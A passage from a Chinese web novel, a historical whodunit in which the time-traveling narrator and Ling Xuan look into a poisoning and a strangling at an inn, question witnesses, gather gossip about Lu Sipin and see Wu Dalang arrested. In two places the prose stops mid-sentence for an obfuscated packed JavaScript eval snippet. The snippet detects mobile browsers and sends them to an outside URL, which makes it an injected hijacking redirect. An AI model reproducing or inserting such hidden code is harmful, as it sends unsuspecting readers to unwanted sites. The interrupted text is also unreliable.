“少东家素来不讲排场,那日也是一个人办事。到了午间正碰上他挑担吆喝经过,就顺手买了俩烧饼。卑职当时正好巡逻到附近,就听见二人吵了起来。武大郎非说少东家少给了两文钱,少东家气急,说自己铺子做的那么大,能少给钱吗?但武大郎不依不饶,少东家气的直接丢下了一串铜钱。卑职过去的时候,他正对着少东家的背影诅咒连篇呢!” “呵,武大郎这是受了婆娘的气不敢发,出来寻人晦气的吧。”赵大人了然颔首。 “谁说不是呢!”猩猩衙差眼睛圆睁,“但这动机就来了啊!他一向受人欺压,婆娘又不检点。一定是他今天受了刺激,杀了卫峰和婆娘不说,还把对他连个正眼都没有的少东家也杀了!” 嘿,这倒是新鲜,翻身农奴把歌唱了? 只是这个推论,漏洞也太多了吧。 凌轩当先反驳:“不对。你们既说武大郎怨气深重,进门自然是闹事,掌柜还能让他进来?” 一旁的掌柜是方才混乱后再次被带上来的,并未瞧见可怖一幕,因而还算镇定,回答的很及时。“今儿可没见他!那婆娘来店中,小人都紧张死了,一直差人注意着,没见过他!” 凌轩颔首,继续说:“人未踏入,酒缸酒壶又都在店中柜台后,他如何下毒?雅间在三层,窗户内闩,外头有人,他可能潜入吗?若说事先投毒,他又怎么知道哪一壶酒给哪一桌客人上呢?” 说完,凌轩眼风又扫来,“王姑娘觉得呢?” 此时的我沉浸在思考中,也没防备便说了出来:“不错,这解释不通。此外,这医馆的少东家,为何被以那种扭曲姿态塞进木箱中?凶手若是武大郎,既已杀人,何苦多此一举?” 猩猩衙差回答不上,脸涨得通红,大约要从猩猩科变成猴科了。 大人白了一眼属下,周身散发着恨铁不成钢的怨气。 凌轩眼波轻荡,声线却极稳重:“男女死者既然是来偷情,少东家又怎会在此?他既不少这口,总不至于也是为了美色来的吧。掌柜,方才你可没有说过,与卫峰会面的,不止女死者一个啊。” 掌柜茫然:“没有,少东家晚上就没在啊!诶,不对啊,少东家不是下午就走了吗?” 说着,他看向身侧的小二,疑惑弥漫。 凌轩正要追问,被叫回来继续营业的仵作完成了验看。“禀老爷,西元堂少东家是被活活勒死的,胫骨几乎都折断了。” 不是中毒! 我下意识瞟了眼凌轩,他眯了眯眼,却没有太多惊讶。 难道方才抬盖见尸,他已看到脖颈勒痕,便做出了判断? “咕嘟”赵大人吞咽声极大,打断了我的臆想。那厢,猩猩衙差也用手捂住了自己的脖子。可仵作的下一句话,才是真正令人心惊——“少东家的死亡时间在未时前后。” 凌轩惊诧:“未时?这么说,他中午就死了,卫峰那二人反而是晚饭时死的?” “是。” “少东家也死了?天哪!”掌柜大惊失色,“不可能,不可能啊!他不是走了吗?怎么会死在店里?” 小二也吓懵了:“对啊对啊,未时两刻小人上来看过一眼,雅间中没人了啊!” 凌轩锁眉,立即追问:“怎么回事,他中午来过你们店?来龙去脉,好好说说。” 许是觉得公子说话过于文雅,威慑力不够,猩猩衙差又厉声吼了句:“快点说!半个字都不许隐瞒!” 小二吓坏了,噗通一声跪下,开始了竹筒倒豆子。 “就、就是今天午时两刻,少东家来的啊!掌柜差小人引他上三层雅间。他说席面要最丰盛的,小人就赶紧下来吩咐厨里,一连给他上了三四道菜,他还催促来着。” 掌柜也被这架势唬住,接过话头:“是是,小人还让厨房都麻利些。午正两刻左右,少东家突然在楼上喊了一嗓子,小人看伙计们都忙着,就自个奔了上去,却见少东家一改来之前的和颜悦色,冷声说席面撤了,还指着桌上四道菜,让小人一并拿滚。” “未上的菜都推掉,已上的菜也不吃了?”我听糊涂了,“怎么这么突然?发生了什么事?” “小人也不清楚啊。少东家脸色难看的紧,小人根本不敢问,只得费劲的一次性端走了全部的菜。” “少东家也跟着走了?”凌轩问。 “没、没啊!”掌柜擦汗,指向圆桌一侧、靠墙摆放的两张太师椅,“当时少东家就坐在那儿,脸色阴沉,怒气冲冲,小人哪敢多嘴啊,就自个儿下楼了。约莫未时两刻,店里生意也冷淡下来,小人就差他……” “就差小人上楼查看,”小二忙补充,“小人去了啊!当时雅间没人了啊!小人明明推门瞧了的呀!” 凌轩朝我看来,眼中有一样的质疑。 我见他没说话,便自己问了句:“所以,少东家什么时候走的,到底走没走,你们就没人瞧见?” 掌柜与小二苦瓜着脸:“实在不晓得啊!中午正是最忙的时候,二楼雅间也不少来客,忙的团团转,实在没留意啊。” “往常也不是没有定了席面又退的,咱们人微言轻,哪能多说呀。都以为少东家平复心情后就自个儿走了,哪想他……” 凌轩瞟了眼案发现场那口染血木箱,又问:“少东家和卫峰为何都选了这个雅间?你不是说,二三层都是招待贵宾的吗?” “一般客人我们都安排在二层,满了才往三层带,这不是也让客人少跑些路吗?但我家少爷若是来,那自然安排在三层,清净呀。” “西元堂少东家呢?是因为中午二层满了,才给他安排的三层?” 掌柜摇头:“不不,因为他宴请的对象就是我们少爷啊,当然给少爷安排……” “什么?”我和凌轩已齐齐出声,伴随着赵大人与猩猩衙差此起彼伏的惊声。“你说西元堂少东家,中午请的就是你们少爷?” 西元堂少东家中午请客卫峰,结果请客与做客的,竟全部死在同一雅间,却并非同时死亡?这怎么可能? “是啊!”掌柜不知其意,仍说道,“少东家一来就说待会儿请的就是我们少爷,席面都往他喜欢的菜色整。小人也纳闷呢,我家少爷与西元堂素无生意往来的呀。” “对呀,卫峰不是东兴号的忠实拥趸吗?”赵大人喃喃,也极茫然。 “那你们少爷中午来了吗?”我问出关键问题。 “没有啊,少爷中午就没来啊!” 咦,这怎么回事?请客的死在中午,做客的中午没来,却死在晚上? 谜团骤然增大,我在凌轩眼中看到了一样的凝重色彩。他不由分说,立即差猩猩衙差将表弟请回来细问。 猩猩衙差应声而去,我则捡起新的问题来:“东兴号,赵大人你刚说的这个名字,我今日听厨娘提起过,是与西元堂对手的医馆,中午也在客栈摆了一桌吧?” 赵大人身形一凛,圆滚滚的脸上露出了骇色:“什么,东兴号中午也在?” 掌柜的却好像很懂赵大人的心思,点头复又摇头:“是在。但大人,不是您想的那样。中午啊,是东兴号的老管家宴请了一桌宾客,他没带仆人来,由昨晚才回来的牛大夫陪着。您也知道他那身子骨,怕是撑不了几日,饭都没吃完,都得牛大夫扎针歇下呢。” 赵大人肩头明显塌下,松了口气。余光扫到我二人不解表情,忙解释道:“哦,是这样,东兴号和西元堂,是我们县城最大的两家医馆,从这里起家,经过几代人的操持,也有几十年历史了。 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而东兴号,在竞争对手败落期间,它并未趁火打劫,反而曾数次雪中送炭。本来势头稳中有升,谁知五年前,东兴号掌柜亲自上山采集一种名贵的药材时却失足滑下山坡身故。 这一变故始料未及,东兴号整个门楣当时只有一个嗷嗷待哺的小孙子。一下子失去了掌门人,巨轮顿失方向。好在老管家和一些旧仆尽力操持,才能使东兴号一直维持开业。 可西元堂在逐渐回升,并开始大肆扩张了啊。主少国疑的东兴号慢慢在竞争中落了下风,颓势一显,越发困顿,员工也有了跳槽之意,怪圈愈发难以破除。直到现在,形势逆风而转,竟变成它岌岌可危了。 “哎,说起来,下官也在这秋水县五六年了,眼看两家老字号起起伏伏,也很感慨。其实啊,县里的人对这两家药号都有感情,谁也不愿意东兴号就此败落,可惜,西元堂少东家年轻气盛,势头太猛,不免显得有些咄咄逼人了。”赵大人话语委婉,但仍点名了对西元堂少东家最有杀机的人。 难怪方才他听说中午东兴号也在此摆桌,会那样震撼了。 不过赵大人接着就说了,东兴号目前孤儿寡母,唯有老管家和几个旧仆支撑。老管家久病缠身,半年前被诊出心脉俱损,如今已到了山穷水尽之际,才会摆桌宴请往日商户,是来托孤了。 掌柜的也叹:“老管家连楼梯都爬不动了,要不是我们客栈一层没有雅间,断不能让他辛苦不是?因着他一顿饭都撑不下来,中间还需施针小憩,小人还特意把二层住宿楼也给他开了一间呢。” “你是说,他中间离开过宴席?施针多久,是一个人休息的吗?”凌轩凝眉问,有些不放心。 毕竟积怨极深,刚好出现在同一客栈,真的只是巧合? 小二却拍着胸脯证实:“老掌柜绝对不可能啦!中午席没开多久,老管家就撑不住需要施针,牛大夫搀扶他去的住宿包间嘛。施针后,小人还曾送去水盆,见老管家满头满脸的汗珠,沉沉入睡呢。小人端盆出来之际,又碰到他请的掌柜史可眼中冒光,来求牛大夫施针。” “史可求针,又是何意?” 原来这牛大夫一手金针出神入化,西元堂挖角多次,他都念在东兴号知遇之恩未准,现在可算得上是东兴号唯一的招牌了。县城中许多人隔段时间就去找他扎扎,一扎全身都通畅。这个史可也是,请他施针频率最高。 牛大夫前些时日回乡看望父母,昨夜才刚回来。史可在席间,得知牛大夫为老管家施针后要休息一炷香时间,便按耐不住,也找牛大夫扎扎。 这还真是个少见的爱好……我嘴角抽抽,却也听明白了,老管家睡下之时,是有不止一个目击证人的。 “要小人说,官爷们,你们怀疑老掌柜,还捉拿武大郎……倒不如想想卢小姐,她中午也在二层设宴呢!” 赵大人闻言又是一惊:“什么?你说的是被卫峰悔婚,还被西元堂少东家当众羞辱过的卢四苹?” 掌柜的一拍脑门,也想起来了:“是啊,今天中午她也在!小人捧着四盘菜下来的时候,还看到她打开雅间门往外瞧……天哪,那她可是中午唯一一个,对我家少爷与西元堂少东家,同时有恨的人了!” 5. 别花痴 武大郎是在次日一早被捕的。 彼时我正和凌轩坐在县衙外的包子铺吃早饭,一边听着从县衙传来的喧嚣声,一边讨论着案情。 “这么说,卢小姐昨晚不在家中?衙差没拿到人?” “我的孙儿啊!你怎么就突然去了!天哪,老天爷太不公平了!”尖亢的哭声打断了我的问话。 我和凌轩都朝声音来源看了一眼,复又低头啃包子。 这次换成凌轩发问了:“你刚说赵夫人提及卫峰幼时受过东兴号什么恩来着?” “爹!爹!我要我爹回来!”天真的悲泣盖住了凌轩的问话。 我和凌轩再次默契低头吃包子。 赵大人和衙差的声音被全部掩盖住了,半点也听不到,只有亲属悲彻震天的哀嚎声。 凌轩终于扛不住了,放下筷子扶额:“要不,还是换个地方吧。非得在这儿吃吗?这么吵,能听到什么有用信息啊?” 我盯着手中的肉包子,虽然有些不舍,但耳膜的确快受不了了。 出了包子铺,凌轩摇头自语:“早知道在县衙吃了。” 我有些诧异:“卫府一早就派人来县衙闹,赵夫人都带着丫鬟小厮去帮忙安抚劝慰了,整个后院半个人都见不到,哪来的早饭?” 凌轩瞥我一眼:“正常吃早饭的时辰,卫家人还没来呢。” 这是怪我睡到日上三竿了? 凌轩接着眼光向上,落在了我的发髻上,认真问道:“姑娘这发型,是什么在下不懂的流行特色吗?” 很难鉴别他是否在阴阳怪气。 没辙,一向短发的我,啥时候捯饬过这么长的头发啊,能把它盘起来已经算我心灵手巧了好吗?赵夫人昨晚安排我沐浴时明明说今早会有丫鬟叫我起床帮我梳头的嘛。 可我一睡醒,发觉连厨房都空无一人。出了县衙后门,就见凌轩在向我招手。 念及此处,我忽然意识到,凌轩难道专程在等我? “姑娘昨天都进后厨偷吃了,能有钱买包子?我若不等你,你再摸进别人家,还得劳烦赵大人去捞你。” …… “说起来,姑娘气质如兰,头上的发簪亦非俗物,应出身富裕之家。怎得迢迢上京路,竟让你一人出行?没有丫鬟相伴吗?”凌轩一顿,“莫非,遭遇了不测?” 猜的倒挺准。 我有些犹豫,不知道该不该向他求助。 凌轩见我没说话,又问:“姑娘上京是要寻什么人?若不介意可以说出来,我在王府也时常帮殿下在坊间走动,或许能帮姑娘快些找到亲朋住处。” 这话说的我眼睛一亮,登时想到了老板娘听到的另一句话,忙问:“京城是不是有条街叫南咏街?” 凌轩眯了眯眼:“南咏……姑娘的亲属具体叫什么,方便透露吗?” “唔,我也不太清楚。事实上,街道名字是否正确,我都不能肯定。” 凌轩挑眉:“怎么,姑娘不太熟悉京城?难道以前没去过?” 这我哪知道,原主留给我的是完全空白的记忆诶。 “看姑娘昨天的反应,似乎也没听说过御青王?” 什么意思,我应该听说过吗?难道老百姓人人皆知?但他为什么要说“不太熟悉京城”,这话好像有些深意。 我扭头盯着他:“怎么,难道你知道原……我以前去过京城?” 凌轩露出浅浅的梨涡,目光落在我的手指上:“我只是看姑娘的戒指似乎是多年前京城流行的款式,便以为姑娘曾到过京城。” 我惊异的拿下戒指瞧了瞧,看见凌轩盯着,又递给他看看。 凌轩眼眸一闪:“嗯,没错,这款式当年很流行。” 原主真的曾到过京城?那丫鬟口中“咱们金华王家”是怎么回事?原主其实长居的是金华?那现在又为什么要上京投奔她爹? “‘赠与羽书’,印字还很清楚。姑娘应是很喜欢这枚戒指,好生保存的吧?那怎么会,不记得到过京城?” 眼看凌轩问的深入,我便索性实话实说,讲了自己落水失忆的事。 寥寥数语,凌轩表情却变了,随后凝重的抛出一个问题,直指原主的丫鬟。 看来在他判断,原主落水的经历也颇为可疑。我想到好心人老板娘还曾说,原主与丫鬟打打闹闹,说说笑笑,看起来没有丝毫隔阂…… 明明春光明媚,心头却覆着黑云。 我深吸了口气,余光瞥到凌轩正瞧着我。 不想让他臆测太多,我便换了个话题。“嗨,不提我了。说起来凌公子既是王府的要员,不着急回京却在此停留查案,不会误了王爷的差事吗?” 凌轩微笑:“不碍的。殿下素来体恤民情,若是知道此地发生重大案件,也会同意我留下协助的。” 说话间,我忍不住偷偷看了他一眼。 昨夜总归昏暗,他又风尘仆仆,瞧不分明。今日梳洗之后,日光下越发翩然,尤其浅笑间若隐若现的一对梨涡,更衬得松风水月。 但此人身份成谜,恐怕不似他说的那么简单。 我瞄向他发髻上那只看似普通的白玉簪子,心中默念,别花痴,千万别花痴。 “说起来,王姑娘昨日躲在柴房一日,也颇辛苦,似是还听到不少坊间传闻?”凌轩忽然问,“可有关涉女死者的?俱是情事?” 我知道他的意思,是想从人际关系、素日往来中扒出女死者的仇家,看看此案是否还有别的可能。 “昨日厨娘们骂的起劲,也提到了几个恨她入骨的富户妻妾,毕竟她勾搭是为财,人家失去的却是夫妻情谊。到了县衙后院,我也趁机问了赵夫人,她提到昨晚正是其中一位的生辰,在家中办了个小宴,这些有头有脸的夫人都去参加了。至于妾室有无作案时机,确实值得一查。但问题是……” 凌轩颔首,自然的接过话头:“问题是如何下毒,尚无法堪破。而且如果只围绕情事,卫峰被波及也便罢了,西元堂那位,又是怎么回事?” 是啊,目前对凶手的推测,还过于草率。三名死者,两种死法,到底能不能并案、是否为同一凶手,尚且不能断定。 不同的凶手,却选择在同一个地点,相近的时间动手,也太巧合了。但如果是同个凶手,又为什么改变了杀人方法?难倒是针对不同的被害人的喜好专门设计的? 卫峰好色,这倒是可以利用的点,可他与女死者第一次相约在客栈,凶手如何得知?他与少东家中午相约,为何最后他没来,却死在了当晚? 少东家被勒死,又是为什么?按理说一对一的话,勒死青壮年还是比较困难的,为何不选择一并毒死?案发现场可是闹市区的客栈啊,凶手就不怕死者呼救或者有人听见动静吗? 难道说,凶手是个力大无穷的壮汉,才能稳准狠且无声无息作案,死者完全无法反抗?那死于毒酒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954179|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男女死者,哪个又是凶手的真正目标? 三个死者的身份地位差距是比较大的。从共性而言,似乎这两个商界精英男青年才是凶手的目标,那女死者实属无辜受累了。这是否说明,凶手心狠手辣,毫不在意会否牵连无辜? 我打了个寒颤,余光捕捉到一道饶有兴致的眼神,忙轻咳掩饰。 “哦,我听到的也就这些了,帮不上什么忙。”忽想起昨日疑问,我又忍不住道,“对了,说到听坊间言论……昨日关于男女死者并非殉情的结论,我便是这么判断的。可我瞧你当时也没惊讶,莫非你也早就知悉?” 凌轩笑笑,也没隐瞒:“我嘛,其实是看到了卫峰腰间的玉佩。” “玉佩?” “是啊,你可还记得,案发现场圆桌旁,靠墙侧放着两张太师椅,中间是一张方几?” 当时小二吓得屁滚尿流,凌轩冲上楼之时,随从旺男也被吓惨,摔屁股墩在门外嚎叫。凌轩就在那时,进过了案发现场,探鼻息、摸脖颈,直到确认两人的确无救,才走出了雅间门。 “那时,我注意到,男死者穿着华丽,腰间挂着三个玉佩,髻上的玳瑁发簪也很名贵。然而靠墙的方几上,却有一枚青色玉佩被手帕垫着摆放。” 我恍然道:“哦,死者专门事前卸下,因为怕玩乐不慎碰坏了它?” “嗯,我就近瞧了,它上面刻着‘卫’字,是块古玉,玉质薄脆,想来是男死者的传家宝。他既提前取下,还小心翼翼地放在手帕上,再搁上一旁的方几。自可推出,男死者未生浑噩求死之心,否则也不用这般谨慎了。” “有些道理。”我品味着,“昨日我上去,怎么没瞧见?” “那随从看到我正拿起玉佩,疯了一般抢走,又去推搡死者,哀嚎痛哭直至晕倒。赶来的衙差自然连玉佩带人一道抱去隔壁了呀。” “哦,那女死者呢?你怎么知道她也不会殉情?或许她爱之深切,杀了情郎再自杀呢?” 凌轩淡笑:“她身上的衣着虽为时新料子,掌心却有茧,说明出身不高,非世家女子。这个时节正是倒春寒,她衣衫轻薄,也非良家女子着装习惯。” 话听到这里,我忍不住挑眉:“怎得,青楼姑娘就不能殉情了?” 凌轩严肃摇头:“自古以来堕于泥淖中的女子也有重情义之辈,凭此自然不能断定。其实我是看到了她衣袖中有一盒未开封的胭脂。” “胭脂?” “京城最大的胭脂铺子叠彩辉的新品,月初才开始流行,较普通胭脂不同,别出心裁的用了菱形的盒子,上绘纹路也很别致。一时间风靡,供不应求,听闻多少贵妇求买都买不到。” 我听明白了,心下反感也退却了。确实,她与卫峰既是风月关系,此种场合,自然不便带着别人赠与的礼物,也即,那是卫峰赠与的。但就算风靡,说到底它也只是一盒胭脂,接下来可是要鱼水之欢的,把它放在袖子里,不嫌咯得慌? 俨然,女死者很喜欢这个胭脂,生怕结束后,自己醉酒忘记拿它了,所以哪怕一会儿还要再脱衣服,也得先放入袖中。这的确能印证女死者对生的渴求,她没有无望的、对一切丧失兴趣的沮丧,自然不会设计殉情了。 呵,观察入微啊。 我记得昨日他奔上楼后,没多久,巡街的衙差便赶到了,自然不会再给他在案发现场翻看的机会。短短时间,就能判断二人身份与关系,果然不简单。 6. 编瞎话 我二人边走边聊,很快便到了另一间包子铺。过了早餐时间,内里空荡荡,只有挽着菜篮子的一位胖婶正和老板娘唠嗑。说到激动,重重搁下菜篮怒骂:“她这水性杨花,真能写进咱大青史书了!还死在偷情现场,忒不要脸!” 青,取自汗青的青,寓意忠心赤胆为国为民。标准的汉人王朝,如今已经第五位皇帝在位,年号泰真。青朝——怎么说怎么别扭——国力鼎盛,人民安居乐业。 哦,这评语是在这起命案之前我作出的,毕竟穿越来这短短几天我就发现了,青朝不设宵禁,允许夜市,这显然是民风开放、兴盛安定的表现。 所以这起命案才会给县城里带来如此大的冲击,我二人所过之处,无人不在议论。 因着衙差盘问后就遣散了一层食客,继而才发现箱中尸体,故第三名死者的消息得以保密,暂时未被坊间知悉。居民们热议的,仍是卫峰与女死者暧昧的死亡现场。 女死者就不提了,舆论空前的统一,对她嫌贫爱富、自贱如那“勾栏骚货”的织绿帽行径,男女老少皆是鄙夷。 但卫峰嘛,我竖着耳朵听了好一阵儿,才明白赵大人为什么说他“有情有义”了。 作为富户,并无吃喝玩乐、纨绔害人的举动。平日宽待下人、礼敬商户、懂得让利、一诺千金。舆论普遍对他的死表示痛惜。 而那风流韵事,嗨,在这个时代,压根也算不得什么恶行。只是这般暧昧死状,实在难堪了些。坊间议论起来,也五味杂陈。 至于他和卢四苹的纠葛嘛—— “这事得怪卢小姐自己,”胖婶又拾起菜篮子,也正说到此处,“卫峰就算钟意她、数次求娶,也不代表就事事依着她呀。” 端起笼屉的老板娘动作麻利,也不耽误八卦:“就是,她想替西元堂说话,也得分清场合时间的嘛。” 嗯?卢四苹替西元堂说话?不是说西元堂少东家曾当众羞辱她,二人也有仇吗? 我好奇不已,抬眼正见凌轩朝我挑眉,似乎希望我趁机打听一二。 也是,说话的都是女子,确实由我开口问方便一些。 但问题是,这又不是我律所的案件,赵大人昨日洒泪嘱托的也不是我,我干嘛要当出头鸟? 于是我当着他的面大咬一口包子,装作沉迷美食。 凌轩眸中闪过一抹异色,却也只能咬牙,勉强的咳了一声,扭身问道:“请问二位,你们方才说的卢小姐与西元堂,有什么关联关系啊?” 老板娘放下豆浆,朝他一瞥:“你是什么人?打听这……咦,小伙子长得眉清目秀、一表人才呐!”她登时来了兴趣,眼睛都睁大了一倍,“小伙子今年多大啦?成亲了吗?哪里人士啊,看着面生,不是咱县城的人吧?生的这么好,配我家侄女绝好!” 我一口包子噎住,差点没喘上气来。 凌轩尴尬的直摇手,可这动静把胖婶吸引了,也凑了过来:“哎呀,是生的不错,和我闺女也搭。小伙子叫什么名字?” “你闺女?太丑了,配不上人家!还是考虑考虑我侄女吧!” “你说什么呢!我闺女怎么了!小伙子你听我说……” “大娘大娘,我只是想打听……”凌轩身子后仰,恨不得躲闪到桌子下,声音尽数被压。 “哎呀你别吵,听我的,和我闺女绝配!” “什么呀,还是搭我侄女吧!” 直到凌轩腰背与板凳呈现45度,朝我飞来N个求救眼神,我总算咽下了卡住的包子,咳出了声。 “咳咳,大娘们啊,好眼光!”我竖起大拇指,“我这哥哥尚未许亲,正想寻个娇俏娘子……”——“王姑娘!”——“各位大娘若有人选,那可真是帮了大忙了!”我自顾自说完,无视了凌轩的眼刀。 “好呀好呀,我给你说我闺女……” “闺什么女,我家侄女生的极为俏丽……” “停!”眼瞅两大娘从凌轩面前挪开,竟又要贴到我眼前,我赶忙伸手制止,“大娘们,停!先别急哈,我这哥哥还有个大问题呢,他之前给你们县城一位姓卢的小姐递了封信,被人家丫鬟狠狠丢出来,他这就走不出来了,非要听人亲口拒绝。你们说说,这不是自讨没趣嘛。依我看……” 瞎编的话让面前几人都是一愣,大娘们八卦之魂雄起,凌轩倒是幽幽的刮了我一眼。 “你说的是桥西卢家吗?”老板娘先问,“几小姐啊?” 我朝凌轩看去,假作问询:“四、四小姐吧?叫什么苹对不?” 凌轩无语,但已被我架上火炉,只得从喉头发出不情愿的“嗯”。 “卢四苹啊?”胖婶啧啧两声,“哎呦小伙子,你趁早死了那心,她可是个拎不清,别招惹她!” “就是!她一年前被人退了婚,谁还敢求娶?你这标志模样,找她亏了!” “退婚,我们一路来怎么没听说?咱们说的是不是一个姑娘啊?”我故意反问了句。 俩大娘齐齐竖眉,当下就教育我怎么做人。 “嘿,说了还不信!就我们县城富户卫峰退的嘛!那庚帖都扔了出来,还能有假?你们哪里来的,这都没听说?” “她哭哭啼啼,还跑去西元堂找少东家说理,又被训了一顿,气的把东街医馆都砸了!这点子事还被说书的套用了呢,你们兄妹莫不是住山里的,这都不知道?” 我耳朵一跳,不自觉朝凌轩递了个眼风,示意他注意听着。 此时我只顾深入探查,都忘了这不是在我们律所。以至于多年后回顾,还会长叹一声,失策了啊,露馅了啊,被盯上了啊。 身侧的人往往就会接一句:“得了吧,你哪是这时候才露馅的啊。” …… 说回当下,凌轩已顺势问出:“西元堂,她凭什么去找西元堂说理呀?” 老板娘嘴巴利索,立即回答:“嗨,她爹不是西元堂老夫人的哥哥嘛!少东家算起来,自然是她表哥了呀。说起来也够不要脸,西元堂差点关门那些日子,她爹空守着偌大家业,从没支援妹妹妹夫,眼看外甥将产业做大,可又贴上来攀亲。” 胖婶撇嘴:“人嘛,拜高踩低的。但她爹千不该万不该,怂恿自己闺女掺和卫府与西元堂的生意往来,否则也不至于断了姻亲。” 原来卫峰幼时得了怪病险些丧命,是东兴号老掌柜日夜救治,耗费心力抢救过来的。这份救命之恩一直盘旋在卫峰心头,多年从未忘却。因而他家产业凡涉医药方面,生意向来只与东兴号做,每每让利。之后老掌柜出事,卫峰悲恸不已,在生意上,更是赔本支援东兴号。 无奈西元堂崛起,东兴号已在关张边缘。卫峰却仍将全家的号脉调理都交给东兴号。明明有生意能与其他医馆对接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954180|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,宁可不做不赚,也要为东兴号保留火种。 如此仁义行为,自然担得起“有情有义”之称。 既如此,昨日中午,西元堂少东家又怎会与卫峰相约?莫非与卢四苹有关? 胖婶不知我二人心中疑惑,仍在继续讲述:“这卢小姐,心高气傲,早就及笄也没定个人家。卫峰丧妻后就相中她了,写了不少诗文表达心意呢。卢老爷这人,正愁扒不上西元堂,一看比它财力还雄厚的卫府提亲,那还不立即应下?这卢小姐当时还端着,事后看,心里也美着呢。” 只是在两家交换完庚帖、已商定六礼之后的宴席中,或许是误认为拿捏住了卫峰的心,或许也想帮母家扒上西元堂这艘大船,卢四苹忽地当着一席宾客的面,要求卫峰停止供应东兴号,改与西元堂合作,就以此作为讨她为妻的彩礼。 她没想到,卫峰当场就变了脸,愤愤扔下庚帖后,卫峰再未回顾。 一时间,舆论哗然。 卢四苹这就算被退婚了,丢人可丢大了。她咽不下这口气,就想找表哥帮忙说情,毕竟她的所作所为,客观也是为了西元堂嘛。 熟料,少东家竟也不买账,还挖苦了一番她们父女,这才气的卢四苹失态,砸了医馆。 “一年了,过去也一年了吧?”老板娘叹道,“当时那事实在难堪,卫峰又一连纳了两个妾室,虽未续弦,眼看也将她抛至脑后了。旁人听说了这些事,哪还有上门求娶的啊?我看,要拖成老姑娘了。” 咦,一直没有婚配……难道这就是此事过去一年之久,却仍横亘在卢四苹心中,能成为杀机的理由吗? 可孤身勒死少东家,胫骨几乎折断,再塞进狭小的箱中……这能是女子做出的?还有,卢四苹晚上可不在客栈,那毒酒,又是如何下入酒中的? 就在这时,又有个扎着头巾的大汉走进了包子铺,老板娘忙去招呼。“老马,你咋个回来了?不是给乡下富户盖院墙呢吗?” “早完工了呀!拖拖拉拉不给工钱,我才多呆了几日。正巧那户隔壁不是牛大夫老娘家吗?我还趁机找他给我扎扎针呢,他都没收我诊费!” 老板娘啧啧两声:“牛大夫一向仁慈,就堂中坐诊,又哪次收高价了?只是,就靠他一个,东兴号怕是也无力回天啊。” 大汉也叹口气:“我琢磨着牛大夫……嗨,就是老管家,也清楚。牛大夫他老娘骨痛好些时日了,牛大夫都不肯抛下东兴号回村中照看,就怕一走,东兴号落个无人坐诊的窘地。这也是他娘实在病的厉害,他才不得不回乡几天。” 胖婶被吸引过去,菜篮子都落在了我们桌上。“哎!老管家是好人呐,就和他曾经的东家一样,仁慈善良……可怎么好人命都不长久呢?老管家若是一去,怕是东兴号也……” 老板娘哽咽了:“西元堂,还是逼得太紧了……” “在商言商,这也是没法子的事。”大汉悲伤的摇摇头,复又抬起头,突兀的换了个话题,“诶,对了,我刚回来一路上听大伙说,昨儿如归客栈怎么了?咋还捉武大郎呢?他不是被俺们村长扣了一下午吗?” 我和凌轩本竖着耳朵安静听着,闻得这话都变了面色,凌轩当即起身严词询问:“你说什么?武大郎被谁扣了?” 大汉一懵,尚未回答,街上人群忽然骚动起来。有人大喊着:“快去看,武大郎被抓住了!” 7. 老实接盘 靠近城墙边一条狭小的巷子里,两边有些门脸,多是些落魄的人家。矮矮的竹篱笆内是破旧暗沉的平房,此刻被围得水泄不通。 凌轩引着我走进去,险些被人群挤扁。 “不是、不是我、我杀的、的人!凭、凭什么带、带我回、回衙门!”一个身量高大的壮汉被两个衙差自后压住肩膀,脸憋的通红,说话断断续续,听起来是个结巴。 咦,这武大郎,与我先入为主以为的,相去甚远呐。看来同人不同命,不能武断视之。 此时的围观群众,却是叹气、指责、怜悯,议论纷纷,无人相信他的辩白。 显然,怒杀奸夫□□的版本不胫而走,已经被坊间知悉且接受了。 “哎!我说武大郎啊!你说说你!”一声熟悉的感叹传来,猩猩衙差穿着紧绷的官服,正以摇晃的步伐从武大郎家走出。脸上倒是写满了痛惜,“你怎么恨,你也不能杀人啊!” 恨铁不成钢的语气和大家伙的心态一致,都认为老实人默默接盘就得了,别打打杀杀破坏和谐社会。 武大郎酱色的脸快要滴出血来,翻来覆去就是几句“不是我杀的人”,却也没说出什么实质性内容。 猩猩衙差怒喝道:“你说你没杀人,那你说,你昨晚去哪了?你为啥不在家?今早鬼鬼祟祟回来,收拾细软做什么?你要跑路啊?” “我、我是要、要带老娘走,离开、离开这鬼、鬼地方!不是跑、跑路啊!” “走哪里去,为什么突然要走?”凌轩忽然出声,朝前迈了一步。 猩猩衙差听声回头,脸上立马堆起笑容,朝着凌轩又是作揖又是弓腰。凌轩只抬抬手,低声丢下句“破案要紧,无需行礼。”便将注意力再次投至武大郎身上。 “快说啊,公子问你话呢!”猩猩衙差又喝一声。 凌轩瞥了眼猩猩衙差,明明面色清朗,却散发着一种不可抗拒的威严,唬得后者立时住了声,围观群众也都安静了下来。 凌轩俯身,盯着武大郎,温声道:“你慢些说,说仔细了,才能洗脱你的冤屈,明白吗?” 武大郎呆滞的盯着他,似有魔力安抚,面上潮红竟退了些。他喉结滚动,总算磕磕绊绊的讲述起来。 昨日挑担,行至卫府侧门,就见一送药的小厮在敲门,来开门的丫鬟正好要外出,武大郎瞥见她拿着的竟然是自家婆娘喜欢的那条帕子,便猜到了故事走向。 